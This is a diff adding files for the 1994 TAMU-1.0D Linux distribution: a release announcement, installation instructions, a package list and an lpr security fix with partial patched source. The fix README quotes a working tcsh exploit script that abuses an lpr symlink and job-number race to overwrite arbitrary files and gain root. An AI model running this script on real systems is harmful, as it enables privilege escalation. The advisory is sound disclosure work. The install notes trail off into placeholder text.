add directory distributions

distributions/TAMU/TAMU-1.0D/ANNOUNCE

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+              ANNOUNCING TAMU-1.0D Linux Release
+
+DESCRIPTION:
+
+  TAMU-1.0D is the latest release in the TAMU linux series.  Like the
+previous release, this one includes both *full* source and binary
+sets.  The source set is an integrated BSD style source tree with the
+*entire* binary set created from a single top level make in this tree.
+make. This ensures that all programs are compiled and linked with the
+same current tools and libraries, and guarantees availability of
+working source for every program in the binary set.
+ In addition, the boot diskette fully automates the installation
+process, including partitioning, lilo bootstrapping, and network
+configuration.  Installation requires no rebooting, and requires the
+user to know only the host's name and IP address.  At every step of
+installation, the program provides intelligent defaults, making it
+a snap for novices, while allowing experts full flexibility in setting
+installation parameters.
+  This release has had several months of beta testing (.99p15.., 1.0,
+1.0A), fixing hundreds of bugs that were in prior TAMU releases, and
+adding significant new features.
+  The end of this announcement gives a detailed list of the contents
+of this release. Highlights include: linux-1.0, libc-4.5.21, XFree86-2.1,
+chimera-1.50 (a mosaic clone that does not need motif), fvwm-1.22f, 
+xfm-1.3 (now with shaped pixmaps), ghostscript-2.6.1, and tcl/tk with
+xf (an automated gui application builder).
+
+AVAILABILITY:
+
+  The binary and source sets are available in both 3.5 and 5.25"
+labeled diskette images. The sets are also available as individual tar 
+files or packages.  All files are at:
+	net.tamu.edu (128.194.177.1), in the directory
+	pub/linux/TAMU-1.0D
+
+REQUIREMENTS:
+
+  The binary set includes 1 boot, and 21 bin diskette images, and the
+source set includes 37 diskette images (22 and 44 respectively for 5.25
+inch diskettes).  When installed, the binary set needs about 90MB of
+disk space (this includes swap and filesystem overhead).  The sources
+take an additional 200MB, and need around another 50MB temporarily
+during compilation.  Individual packages within the sources can be
+compiled independently, so you don't have to retrieve all 200MB to
+modify one program.  The source packages have, however, been configured
+to compile under the TAMU-1.0D binary set, so there are no guarantees
+they will compile on other systems.
+
+PHILOSOPHY:
+
+  The source release is based on an integrated set of source packages.
+This combines the advantages of a BSD style fully integrated release
+(single top level make ...), with the flexibility of separate source
+packages (it's easy to drop in new versions as they appear).
+  This release is FSSTND compliant, with only a few minor exceptions.
+
+CONTACTS:
+
+Please send questions, comments, and bug fixes to:
+	dave safford
+	dave.safford@net.tamu.edu
+
+DETAILED CONTENTS:
+
+XFree86-2.1 Xlock a2ps archie-1.4.1 as86 at-2.5 base bash-1.13.5
+bind-4.8.3l binutils-1.9l.3 bison-1.19 boot bootpd-2.1a bootutils-0.1
+bwnfsd chimera-1.50 cron-3.0.1 diff-2.1 e2fsprogs-0.5 efsprogs
+elvis-1.7 emacs-19.22 file-1.25 fileutils-3.4 find-3.8 finger-5.22
+fingerd-5.6 flex-2.3.7 fromto ftp-5.9 ftpd-5.6 fvwm-1.22f gas-1.38.1l
+gawk-2.15.2 gcc-2.5.8 gdb-4.6 ghostscript-2.6.1.p4 gprof grep-1.6
+groff-1.08 gzip-1.2.3 inetd-5.3 init ispell-4.0 kbd-0.83 kermit
+kmem-ps-0.99.14 ld.so-1.4.3 ld86 less-177 libc-4.5.21 lilo-14 linux-1.0
+lpd-5.12 make-3.70 man-1.1 modutils-0.99.15 moxftp-2.0 mtools-2.0.5
+ncurses-0.7.2 net-032 net2pch nfsd-1.4 nntpd-1.5.11 patch-2.0.12u8
+pbmplus10dec91 pcnfsd-1.4 perl-4.036 ping-5.9 poeigl-1.21 popd-1.001
+pwd rcp-5.32 rlogin-5.33 rlogind-5.53 routed-5.23 rpc-0.9 rsh-5.24
+rshd-5.38 ruptime-5.7 rwho-5.5 rwhod-5.19 rzsz-9202 sed-1.13 seyon-2.12
+shadow-3.3.1 shellutils-1.8 smail-3.1.28 strace-2 talk-5.5 talkd-5.8
+tamu_install tamu_src tar-1.11.1 tcl-7.3 tk-3.6 tcpd-1.4 tcpdump
+tcsh-6.03 telnet-5.52 term-1.11 textutils-1.4 tftp-5.1 tftpd-5.13 time
+tools-2.10 tput-1.0 traceroute umail-360 usr.dict usr.man utila-1.5
+utilb-1.3 utile-1.5 vgaset wmail-401c wnews-402 x3270-3.0.1.3 xdos-03f
+xf-2.3 xfm1.3 xinvaders.p2 xsol xpm-3.4a xtetris-2.5.2 xxgdb-1.06

distributions/TAMU/TAMU-1.0D/ERRATA

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+ERRATA file for BETA-TAMU-1.0D - 5/27/94
+Check ./fixes for respective fixes.
+
+NONE (so far :-)

distributions/TAMU/TAMU-1.0D/bin/INSTALL.BIN

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+		     TAMU-1.0D Linux BINARY SET
+                      Installation Instructions
+
+MINIMUM HARDWARE REQUIREMENTS:
+    80386 CPU
+    4MB or more of RAM, 60MB of disk space (base)
+RECOMMENDED HARDWARE:
+    80486 CPU
+    8MB RAM 100MB disk
+
+------------------------------------------------------------------------
+
+BEFORE INSTALLATION:
+
+1. Retrieve the appropriate files from net.tamu.edu:
+	boot
+	bin.*
+   Note: the boot diskette must be used in your drive A:
+         but you may use any floppy drive for the install disk set.
+         So if you have a 5.25 a: and 3.5 drive b:, the boot
+         diskette must be 5.25, but the install set may be either
+         5.25 or 3.5.
+
+2. Transfer the images to diskettes with either dd (unix) or
+   rawrite (dos).  (Rawrite and uncompress for DOS are available
+   from net.tamu.edu in util/dos-utils).  By the way, dd runs 
+   MUCH faster to floppies on a Sun if the blocking is set up 
+   correctly. For 3.5 inch floppies on a Sun sparcstation:
+	dd bs=18k conv=sync if=boot of=/dev/rfd0
+
+NOTE:!!!
+   The bin.* files are diskette *IMAGES*.  That is, they exactly fill
+   a raw diskette, and cannot be copied as files to diskettes as a DOS
+   file. If you try under DOS to do "copy bin.01 a:" the file will
+   not fit. You must use some tool like rawrite to write the image to
+   diskette.
+
+   The rawrite steps can be combined/simplified with the use of the new
+   "rawfd" dos device driver, available in the dos_utils directory on
+   net.tamu.edu:pub/linux.  This raw floppy device driver (which can be
+   loaded in config.sys, or from the dos command prompt) allows one to
+   ftp *directly* to the raw floppy disk, as if it were a regular
+   destination file.  For example, the ftp command "get boot rawfda"
+   would ftp the boot disk image, and write it directly to the raw
+   floppy in drive a:. In addition, rawfd will also format the floppy
+   as it writes out the data, thus saving another step.
+
+3. Determine necessary information about your configuration:
+   With the new automated installation, the only required information
+   you need is (and you need this ONLY if you are networked):
+	hostname
+	ip address
+	netmask
+	local nameserver address
+	local default route address
+
+   This package uses the standard linux naming scheme:
+	fd0H1440	3.5 inch HD floppy (a:)
+	fd0h1200	5.25 inch HD floppy (a:)
+	fd1H1440	3.5 inch HD floppy (b:)
+	fd1h1200	5.25 inch HD floppy (b:)
+	hda		entire ide/mfm first *drive*
+	hda1 .. hda4	first thru fourth *partition* on hda
+	hdb		entire ide/mfm second *drive*
+	hdb1 .. hdb4	first thru fourth *partition* on hdb
+	sda		entire scsi first *drive*
+	sda1 .. sda4	first thru fourth *partition* on sda
+
+------------------------------------------------------------------------
+
+
+INSTALLATION:
+
+If your disk will be sharing space with other operating systems, such
+as DOS, INSTALL THE OTHER SYSTEMS FIRST.  My preferred layout is OS/2
+on partition 1 using HPFS, DOS/WIN3.1 on partition 2 using FAT, an
+extended partition on partition 3 with a FAT filesystem (so it appears
+as drive d: to both OS/2 and DOS), and linux in partition 4. If you
+install them in this order, and in these locations, then TAMU linux's 
+bootactv can be used for boot time selection, and OS/2's Boot Mangler
+is not needed. (REALLY!)
+
+There are two installation methods: a simple menu driven installation
+script for most configurations (single linux root partition),
+or manual installation for experienced users with more complex needs.
+
+
+AUTOMATED INSTALLATION:
+
+1. Boot the "boot" diskette.
+
+   	IMPORTANT INFORMATION ABOUT AVAILABLE BOOT KERNELS:
+
+	The boot diskette has two tiny kernels: one for scsi
+ 	or ide disk systems, and one just for ide based systems.
+	Both tiny kernels have all unnecessary drivers, such as
+	networking, CDROM, and special serial/mouse drivers
+	removed, as these sometimes conflict with a given
+	hardware configuration. By default, lilo will boot the
+ 	combined scsi/ide kernel in ramdisk mode.  If you have 
+	an ide only system, and the scsi probing code conflicts
+	with your hardware, you can try the ide only kernel.
+	If you press <tab> at the lilo boot prompt, you will
+ 	see a list of available boot modes:
+		ramdisk      (scsi/ide kernel)
+		floppy       (scsi/ide kernel)
+		harddisk     (scsi/ide kernel)
+		ide_ramdisk  (ide only kernel)
+		ide_floppy   (ide only kernel)
+		ide_harddisk (ide only kernel)
+	The automatic install requires that you boot in the ramdisk mode.
+	If you have insufficient memory for this, you can do a manual 
+	install from a floppy mode boot. The harddisk mode boot is
+	useful as a backup way to boot a linux hard disk partition,
+	if you have problems with the normal lilo boot.
+
+	The installed linux system has a full "generic" linux kernel
+	(/vmlinuz) with ide, scsi, drivers, along with all possible
+	network and mouse drivers.  If the boot diskette works, but
+	the installed hard disk kernel has problems booting due to
+	driver conflicts with your hardware configuration, you will
+	have to boot the hard disk using the boot diskette (selecting
+	either the "harddisk" or "ide_hardisk" modes, and then
+	configure and build a kernel tailored for your hardware
+	(as discussed in "Rebuilding the kernel:" later in this document).
+
+
+   The lilo boot program will prompt for "Boot" device -- press a 
+   shift key to see a help screen listing boot choices, and then simply
+   press enter.  (If you have a value point or other non-standard hardware,
+   you may need to enter some lilo boot parameters here - see the
+   examples on the boot information screen, or the latest FAQ for details.)
+   As the kernel boots, you will be asked for video
+   mode desired -- either select one of the choices, or let the
+   prompt time out.  You will finally see a menu:
+
+	Linux Maintenance Diskette
+
+	1 - Install a full distribution set
+	2 - Exit to linux shell
+ 
+   press '1' and enter, to start the automated installation program.
+   If you want to do a manual install, or other maintenance, press 2.  
+
+2.  Running the automated installation program:
+
+    The program will first ask a series of questions to determine
+    the desired installation configuration.  In every case, a 
+    default answer will be provided, and this default answer will
+    be displayed in parentheses (default) at the end of the question.
+    To accept the default answer, simply press enter.
+
+    The questions asked are:
+
+    - What floppy drive will be used for installation? 
+	simply pick (1-4) from the menu
+
+      (A list of available partitions (including any free partitions)
+      are then presented.)
+    - Do you need to run fdisk now? (n)
+	you need to run fdisk only if none of the displayed
+ 	partitions (including any free space) are suitable.
+
+    - Which partition will be used for linux? (/dev/hda1)
+	The default partition is chosen to be the largest linux or empty
+ 	partition found.  Non linux partitions will not be automatically
+	selected as default partitions, but they are displayed on the 
+	list, and can be chosen.
+
+    - Setup swapping (for 4MB ram or less)? (y)
+	Swapping to a 4MB swap file will be configured by default unless 
+	there is insufficient space in the selected partition. 
+	Swapping must be selected if you have 4MB of ram or less,
+	or subsequent steps may run out of memory.
+
+    - Install all files? (y/n)
+        The default is to install all files in the distribution set.
+	If you would like to selectively install packages from the set,
+        enter 'n'.  The installation program will then ask you to remove
+   	the boot diskette, and insert the first data diskette, so that it
+	can read the Table Of Contents (TOC). once it has read the TOC,
+	it will for each package list the package name and size in bytes,
+	and ask if you want it installed. The TAMU-1.0D TOC list contains:
+
+	Package Name	Size (bytes)	Diskette #
+	base 		 3508234	1
+	extra 		 4830318	1,2,3
+	network 	 1084081	3	
+	development 	11282586	3,4,5
+	kernel_src	 5081820	5,6
+	man_pages 	 7048497	6,7
+	emacs 		15305892	7,8,9
+	ghostscript 	 1022020	9,10
+	groff 		 1964556	10,11
+	libc-lite 	  619524	11
+	X_libX11 	  478272	12
+	X_base 		25698219	12,13,14,15,16,17
+	X_server_8514 	  848900
+	X_server_Mach32   885764
+	X_server_Mach8 	  869380
+	X_server_Mono 	  771076
+	X_server_S3 	  947204
+	X_server_SVGA 	  947204
+	X_server_VGA16 	  791556
+	X_man_pages 	 4237255
+	X_server_kit 	 3501751	21
+
+	The base package is the only required package. It contains the
+	kernel, /bin, /sbin, /boot, /lib, and some /usr/bin files
+	necessary for booting a basic linux system.
+
+	The X_libX11 package is separate from the rest of X_base,
+	as it must be included if you load the emacs package.
+
+	You need at least one of the X_server pakcages, based on your
+	your graphics hardware. The X_server_kit is optional.
+
+
+    - Do you want BOOTACTV (boot time partition selector) installed? (y)
+	bootactv is a simple MBR (master boot record) boot partition
+	selector.  You want this if you have multiple partitions
+	on the first drive.  You don't want it if you need to boot 
+	linux on a second drive partition, as in this case, LILO 
+	needs to be put in the first drive MBR. (see next question)
+
+    - Where do you want lilo installed? (/dev/hda1):
+	If you asked for bootactv, the lilo bootstrap will default
+	to the selected linux partition.  If not, lilo will default to
+	the MBR.
+ 
+    - What is this machine's hostname? (tamu) 
+	Simply enter the machine's desired hostname (default "tamu")
+
+    - Do you want networking configured? (y):
+	simply enter 'n' if you don't want networking enabled.
+
+If you asked for networking, you will get the following added questions:
+
+    - What domain is the machine in (tamu.edu) 
+	simply enter your IP domain name
+
+    - What is this host's IP address (192.9.200.1) 
+	enter your host's IP address
+
+    - What is the netmask (default) 
+	The presented default is correct for standard class A, B, or C
+	networks.  If your net is subnetted, you will need to override 
+	default with your local netmask.  For example, tamu.edu
+    	has a class B network (128.194), so the default presented
+	is 255.255.0.0, but we actually are subnetted with mask of 
+	255.255.255.0
+
+    - What is the network's address (default) 
+	The network address is (your IP address & NETMASK),
+	ie a host part of all zeros.
+	The default should be correct unless your subnet mask is
+	not on a byte boundary, in which case you may need to override
+	the presented value.
+
+    - what is the broadcast address (default)
+	The broadcast address is (your IP address | !NETMASK)
+	ie a host part of all ones.
+	The default should be correct unless your subnet mask is
+	not on a byte boundary, in which case you may need to override
+	the presented value.
+	
+    - What is the default gateway (default) 
+	The calculated default is host 254 on your network. You will
+	probably want to change this.
+
+    - What is the nameserver address (default)
+	The calculated default is host 254 on your network. You will
+	probably want to change this.
+
+Once these questions are answered, the program will display the selected
+partition, and ask for confirmation to proceed.  The default on this 
+question is 'n' -- you HAVE to enter 'y' to proceed.
+
+The rest of the installation is automatic - it will tell you to take
+out the boot diskette, and enter the bin.* diskettes one at a time.
+Note that the new installation program is very forgiving of errors;
+if you insert the wrong diskette, it will tell you which disk you 
+inserted, and ask for the correct one again.  When the installation
+is finished, it will remind you to remove the last data diskette,
+and reboot (use ctrl-alt-del).
+The first time you reboot, fsck may check the root partition.
+In all subsequent reboots, as long as you use halt or reboot, the
+filesystems should be clean, and fsck will skip the time consuming
+checks.	 
+ 
+RUNNING FDISK:
+
+If you do want to run fdisk manually:
+
+    If you want to run fdisk during the automated installation, simply
+    enter 'y' at the appropriate question.
+    You will be asked which disk device to partition, such
+    as hda, hdb, sda, sdb as discussed above.
+    Fdisk has command help available with the "m" command.
+
+    "fdisk" should be able to determine your disk's geometry.  If not,
+    you will need to tell it the number of cylinders, heads, and sectors
+    of your hard disk.  Use the "x" command to switch to expert menu.
+    Then use the "c" command to specify the cylinders, "h" command to
+    specify heads, and "s" command to specify the sectors of your disk.
+    Now use the "r" command to return to the starting menu.
+
+    The instructions here are a little less clear since your partitioning
+    preferences may be different.  I will give an example of 3 partitions,
+    one for DOS, one for swap and the other for the root filesystem.  
+    I have a 90M drive that I want to partition into 10M for DOS, 
+    10M linux swap and 70M linux root file system.
+
+    First I use the "p" command to print the partition table.  I see
+    that my disk has 1024 cylinders, and that partition 1 (DOS) covers
+    cylinders 1 through 114.  Then I use the "d" command to delete any
+    partitions other than DOS (partition 1).  I then use the "n"
+    command to create new partitions.  "fdisk" will ask me if I want a
+    primary of extended partition: use primary.  Next it will ask me
+    where to start the partition: I use cylinder 115.  I want my first
+    partition to be a swap partitoin of size 10M.  The computer asks me
+    how big to make the partition: I enter 114 cylinders.  I create a
+    second primary partition starting at cylinder 229 and make it 796
+    cylinders in size.
+
+    By default, all partitions are created as Linux/MINIX partitions.
+    Since we want to use partition 2 for swap, we need to change its
+    type, or "system id".  Use the "t" command to change the type:
+    choose partition 2 and choose type 82 "Linux swap".  Similarly,
+    partition 3 needs to be changed to type 83 (extfs).  A complete
+    list of supported partition types can be obtained using the "l"
+    command.
+
+    Before we go, use the "p" command to print the partition table and
+    note down the number of blocks for each partition.  We will need this
+    in the next step.
+
+    We are now done with this.  Use the "w" command to write the information
+    to disk and exit "fdisk".
+
+    When you exit fdisk, you will be reminded to reboot, which you must do
+    now, if you changed any partition information with fdisk. To reboot,
+    press <control>-<alt>-<delete> keys together. If you did not make
+    any changes, simply press return to continue installation.
+
+------------------------------------------------------------------------
+
+
+MANUAL INSTALLATION:
+
+ 1. Boot your computer with disk "boot".
+    At the maintenance menu, select (2.) to exit to a command shell.
+ 
+ 2. Run the "fdisk" command.  Partitions the disk as desired and note down
+    the number of blocks allocated to each partition. (see the earlier
+    description of this.)
+
+    [ /sbin/fdisk /dev/hda ]
+
+ 3. Reboot your machine.
+
+    (Ctrl-Alt-Del or push reset button).
+
+ 4. Run "mkefs" to create the file system on all non-swap partitions.
+
+    [ /sbin/mke2fs -c /dev/hda2 72345 ]
+
+    (I pulled 72345 out of air for this example, but you should used
+    the number of blocks fdisk reported in the previous step.)
+
+ 5. do the actual installation:
+    [ mount -t ext2 /dev/hda2 /mnt ]
+    [ cd /mnt ]
+    [ label -u -i /dev/fd0H1440 |gzip -d|tar xBpf - ]
+
+    (change hda2 fd0H1440 and 1440 as appropriate)
+
+ 6. configure the new root files:
+    [ cd /mnt/etc ]
+    [ /mnt/usr/bin/vi system_config ]
+	this file contains definitions for the system configuration.
+	edit the example values appropriately.
+    [ ../sbin/doconfig ]
+
+ 7. If you have more than one operating system (eg DOS and Linux)
+    and want to have boot time selection of which operating system
+    to run, install bootactv on your boot drive:
+
+    [ cd /mnt/boot; /mnt/bin/cp bootactv.bin /dev/hda ]
+
+    ( substitute your drive name for "/dev/hda")
+
+8. prepare for reboot:
+
+    [ cd / ]
+    [ umount /mnt ]
+    [ sync ]
+
+------------------------------------------------------------------------
+
+
+FURTHER CONFIGURATION:
+
+ 1. remove all floppies, and reboot the machine:
+    [ control-alt-delete ]
+
+ 2. Log in as root by typing "root" at the login prompt.
+
+    [ root ]
+     set a password for root:
+    [ passwd ]
+
+ 3. You are now mostly done.  You may still need to configure /etc/mtools,
+    /etc/fstab (if necessary for cdrom ...), and
+    /usr/X386/lib/X11/Xconfig.hostname. You may also want to rebuild
+    the kernel for your configuration (the default kernel has only
+    necessary devices in it, and assumes you have only a 80386 processor).
+    Hints for the last two follow later.
+
+ 4. If you need to change any of the configuration values entered
+    during installation (such as ip address ...), you need to change
+    the respective entry in /etc/system_config. If you are turning 
+    networking on for the first time, you will then need to run
+    doconfig, which creates some networking config files based on the
+    system_config information. NOTE that this will update /etc/fstab,
+    so if you have customized it, save a copy and restore it afterwards.
+
+FINAL TIPS:
+
+1. use "useradd -m user_name" to build a regular user account,
+   (the -m switch uses the /etc/skel files for the user home skeleton).
+   You will need to set a password for them ("passwd user_name").
+
+2. root and the user skeleton is now configured to use fvwm.
+   Fvwm is configured to popup window tools on the left mouse button,
+   utilities on the right button, and games on the middle button.
+   (If your mouse has only two buttons, the middle button is emulated
+   by pressing both buttons simultaneously.)
+
+3. For a fun demo of ghostscript, use xfm to cd into 
+   /usr/lib/ghostscript/examples, and drag/drop any of the examples 
+   onto the xfm application "ghostscript".
+
+4. if you rebuild the kernel, be sure to run "ps -U" to update
+   /etc/psdatabase. Do this before doing a "make clean" in the 
+   /usr/src/linux directory, as the system file in /usr/src/linux/tools
+   is needed by "ps -U".
+
+5. if you are new to Linux, be sure to try the four virtual terminals,
+   available with <left-alt>-F1 thru <left-alt>-F4. Under X-windows,
+   the virtual terminals are reached with <ctrl>-<alt>-F1 thru F4,
+   and you return to X with <alt>-F5.
+
+6. You can use the boot disk for maintenance (in case of filesystem
+   problems, the disk has e2fsck), or for reinstallation from your
+   own backup set. NOTE - the maintenance disk does not have 'ls'
+   so you can't look around.  /sbin has most system commands
+   (mount, umount, fsck, mkfs...), and /bin has most /bin commands.
+
+7. to make a backup compatible with the installation disk:
+   [cd /]
+   [tar cf - .|gzip|label -o /dev/fd0H1440 ]
+   (or as appropriate for your floppy)
+
+questions/comments to:
+dave safford
+dave.safford@net.tamu.edu
+
+----------------------------------------------------------------------------
+Rebuilding the kernel:
+1. cd /usr/src/linux
+2. run "make config"
+   This will ask which optional devices you want in the kernel.
+3. run "make dep"
+4. run "make clean"
+5. run "make"
+6. install the kernel:
+	cp zImage /vmlinuz
+	lilo
+That's it!
+----------------------------------------------------------------------------
+
+XFree86-2.1 Configuration:
+
+Getting the new XFree86-2.1 running involves three major steps:
+    1. point /usr/X386/bin/X to the appropriate server for you adapter.
+    2. Create the config file /usr/X386/lib/X11/Xconfig.<hostname>
+    3. Edit the config file for your mouse.
+
+1. Choosing the server:
+	cd /usr/X386/bin
+	rm X
+	ln -s XF86_<type> X
+    where <type> is one of "SVGA", "8514", "Mach8" "Mach32", "S3",
+    "MONO", or "VGA_16"
+
+2. Creating the Xconfig file:
+There are several configuration options for XFree86-2.1:
+    A. Sample configuration files
+    B. Simplified scanning Xconfig.1m
+    C. The "right" (pain in the rear end) way
+
+A. Sample Config files:
+The directory /usr/X386/lib/X11/Xconfig.Samples has a number of 
+preconfigured Xconfig files for common adapters/monitors. Check
+the index file to see if one is available.  If one is, simply copy it to
+/usr/X386/lib/X11/Xconfig.<hostname>.
+
+B. SIMPLIFIED X Window Configuration
+In /usr/lib/X11 there are several Xconfig templates:
+	Xconfig.hostname -  *DEFAULT* - working copy of Xconfig.1M
+	Xconfig.1M       -  the install version for 1MB vga cards
+	Xconfig          -  working copy of Xconfig.master
+	Xconfig.master   -  standard X11 release version (manual install)
+	Xconfig.drs      -  this is my tailored copy of Xconfig.1M
+
+By default, when you run "startx", the server will use Xconfig.tamu,
+as the hostname is "tamu". This file is a working copy of the .1M
+easy installation version for 1MB vga cards.  If your vga card has
+only 512K bytes of memory, it can not run in the 1024x768 resolution
+modes, so you need to delete these modes from the Xconfig file. If
+you are running on a notebook, you probably can use only the 640 x 480
+modes.
+
+Then, in Xconfig.tamu:
+
+1. check the mouse definitions, and if necessary, comment out the default
+   (microsoft mouse on ttyS0, aka com1:) and uncomment the line
+   corresponding to your mouse type and port. 
+   If your mouse has 3 buttons, comment out the "Emulate3Buttons" line.
+
+2. run "xinit"
+   There will be 48 available "modes" that are essentially all possible
+   combinations of clocks and resolutions. You can cycle through all of
+   these modes by pressing control-alt-keypad+.  (If your vga card has
+   512K, there will be only 32 modes). The modes are named "1" through
+   "48" and appear in that order.  Most of these modes will show
+   garbage on your screen. Jot down the number (ie 1 - 48) of any
+   mode that presents a reasonable display (minor size or x/y offset
+   errors can be trimmed out later.) Hopefully you will find at least
+   one good mode for each of 1024x768, 800x600, and 640x480 display
+   resolutions.  Exit X using control-alt-backspace, and then edit
+   Xconfig.tamu, to delete the "bad" mode numbers out of the "Modes"
+   line, leaving just the few good ones you jotted down. (You can look 
+   at my final version in Xconfig.drs, which left just three modes on 
+   the "Modes" line.)
+
+That should be it! No puzzling over the vga database, frequencies,
+clocks, or dot calculations!  This has been tested on several machines
+with Tseng, trident, and paradise cards.  On my own tseng clone,
+in 1 minute I discovered two very nice modes that I had missed in
+hours of testing using other methods!
+
+(2.1 If necessary, you may need to tweak the dot values in the corresponding
+   mode entries in the ModeDB section, if the display is a little off center.
+   Each mode line in the ModeDB section has 4 numbers for horizontal dots,
+   and four numbers for vertical dots. If the display is a little off in
+   the horizontal or vertical position, try adjusting the MIDDLE two
+   numbers in the respective horizontal or vertical set by 10 or 20 dots.
+   This needs to be done by trial and error, but at least you have a good
+   starting point. ) 
+
+C. The "right" way:
+Read /usr/X386/lib/X11/etc/?????? adn follow the instructions.
+
+3. Setting the mouse:
+asfasdf
+asdf
+asdf

distributions/TAMU/TAMU-1.0D/bin/pkg/TOC

@@ -0,0 +1,21 @@
+base 3508234
+extra 4830318
+network 1084081
+development 11282586
+kernel_src 5081820
+man_pages 7048497
+emacs 15305892
+ghostscript 1022020
+groff 1964556
+libc-lite 619524
+X_libX11 478272
+X_base 25698219
+X_server_8514 848900
+X_server_Mach32 885764
+X_server_Mach8 869380
+X_server_Mono 771076
+X_server_S3 947204
+X_server_SVGA 947204
+X_server_VGA16 791556
+X_man_pages 4237255
+X_server_kit 3501751

distributions/TAMU/TAMU-1.0D/fixes/README.lpr

@@ -0,0 +1,40 @@
+ALL current versions of lpr on all distributions have a bug
+that can give a regular user root access very easily.
+
+The file "lpr" in this fix directory has this bug fixed, and
+should be copied to /usr/bin/lpr (owned by root, group lp, mode 6755)
+
+The file "lpr.c" is the patched source file, that should be copied
+to /usr/src/usr.sbin/lpd-5.12/lpr/lpr.c.
+
+The following is a script demonstrating the hole that was found on a 
+hacked machine.
+--------------------------------------------------------------------
+#!/bin/tcsh -f
+#
+# Usage: lcp from-file to-file
+#
+
+if ($#argv != 2) then
+        echo Usage: lcp from-file to-file
+        exit 1
+endif
+
+# This link stuff allows us to overwrite unreadable files,
+# should we want to.
+echo x > /tmp/.tmp.$$
+lpr -q -s /tmp/.tmp.$$
+rm -f /tmp/.tmp.$$              # lpr's accepted it, point it
+ln -s $2 /tmp/.tmp.$$           # to where we really want
+
+@ s = 0
+while ( $s != 999)              # loop 999 times
+        lpr /nofile >&/dev/null # spin the job number till it wraps!
+        @ s++
+        if ( $s % 10 == 0 ) echo -n .
+end
+lpr $1                          # write source file over old data file
+                                # user becomes owner
+rm -f /tmp/.tmp.$$
+exit 0
+

distributions/TAMU/TAMU-1.0D/fixes/lpr.c

@@ -0,0 +1,720 @@
+/*
+ * Copyright (c) 1983 Regents of the University of California.
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ * 3. All advertising materials mentioning features or use of this software
+ *    must display the following acknowledgement:
+ *	This product includes software developed by the University of
+ *	California, Berkeley and its contributors.
+ * 4. Neither the name of the University nor the names of its contributors
+ *    may be used to endorse or promote products derived from this software
+ *    without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ */
+
+#ifndef lint
+char copyright[] =
+"@(#) Copyright (c) 1983, 1989 Regents of the University of California.\n\
+ All rights reserved.\n";
+#endif /* not lint */
+
+#ifndef lint
+static char sccsid[] = "@(#)lpr.c	5.9 (Berkeley) 3/2/91";
+#endif /* not lint */
+/*
+ *      lpr -- off line print
+ *
+ * Allows multiple printers and printers on remote machines by
+ * using information from a printer data base.
+ */
+
+#include <stdio.h>
+#include <sys/types.h>
+#include <sys/file.h>
+#include <sys/stat.h>
+#include <pwd.h>
+#include <grp.h>
+#include <signal.h>
+#include <ctype.h>
+#include <syslog.h>
+#include "lp.local.h"
+#include "pathnames.h"
+
+char    *tfname;		/* tmp copy of cf before linking */
+char    *cfname;		/* daemon control files, linked from tf's */
+char    *dfname;		/* data files */
+
+int	nact;			/* number of jobs to act on */
+int	tfd;			/* control file descriptor */
+int     mailflg;		/* send mail */
+int	qflag;			/* q job, but don't exec daemon */
+char	format = 'f';		/* format char for printing files */
+int	rflag;			/* remove files upon completion */	
+int	sflag;			/* symbolic link flag */
+int	inchar;			/* location to increment char in file names */
+int     ncopies = 1;		/* # of copies to make */
+int	iflag;			/* indentation wanted */
+int	indent;			/* amount to indent */
+int	hdr = 1;		/* print header or not (default is yes) */
+int     userid;			/* user id */
+char	*person;		/* user name */
+char	*title;			/* pr'ing title */
+char	*fonts[4];		/* troff font names */
+char	*width;			/* width for versatec printing */
+char	host[32];		/* host name */
+char	*class = host;		/* class title on header page */
+char    *jobname;		/* job name on header page */
+char	*name;			/* program name */
+char	*printer;		/* printer name */
+struct	stat statb;
+
+int	MX;			/* maximum number of blocks to copy */
+int	MC;			/* maximum number of copies allowed */
+int	DU;			/* daemon user-id */
+char	*SD;			/* spool directory */
+char	*LO;			/* lock file name */
+char	*RG;			/* restrict group */
+short	SC;			/* suppress multiple copies */
+
+char	*getenv();
+char	*rindex();
+char	*linked();
+void	cleanup();
+
+/*ARGSUSED*/
+main(argc, argv)
+	int argc;
+	char *argv[];
+{
+	struct passwd *pw;
+	struct group *gptr;
+	extern char *itoa();
+	register char *arg, *cp;
+	char buf[BUFSIZ];
+	int i, f;
+	struct stat stb;
+
+	if (signal(SIGHUP, SIG_IGN) != SIG_IGN)
+		signal(SIGHUP, cleanup);
+	if (signal(SIGINT, SIG_IGN) != SIG_IGN)
+		signal(SIGINT, cleanup);
+	if (signal(SIGQUIT, SIG_IGN) != SIG_IGN)
+		signal(SIGQUIT, cleanup);
+	if (signal(SIGTERM, SIG_IGN) != SIG_IGN)
+		signal(SIGTERM, cleanup);
+
+	name = argv[0];
+	gethostname(host, sizeof (host));
+	openlog("lpd", 0, LOG_LPR);
+
+	while (argc > 1 && argv[1][0] == '-') {
+		argc--;
+		arg = *++argv;
+		switch (arg[1]) {
+
+		case 'P':		/* specifiy printer name */
+			if (arg[2])
+				printer = &arg[2];
+			else if (argc > 1) {
+				argc--;
+				printer = *++argv;
+			}
+			break;
+
+		case 'C':		/* classification spec */
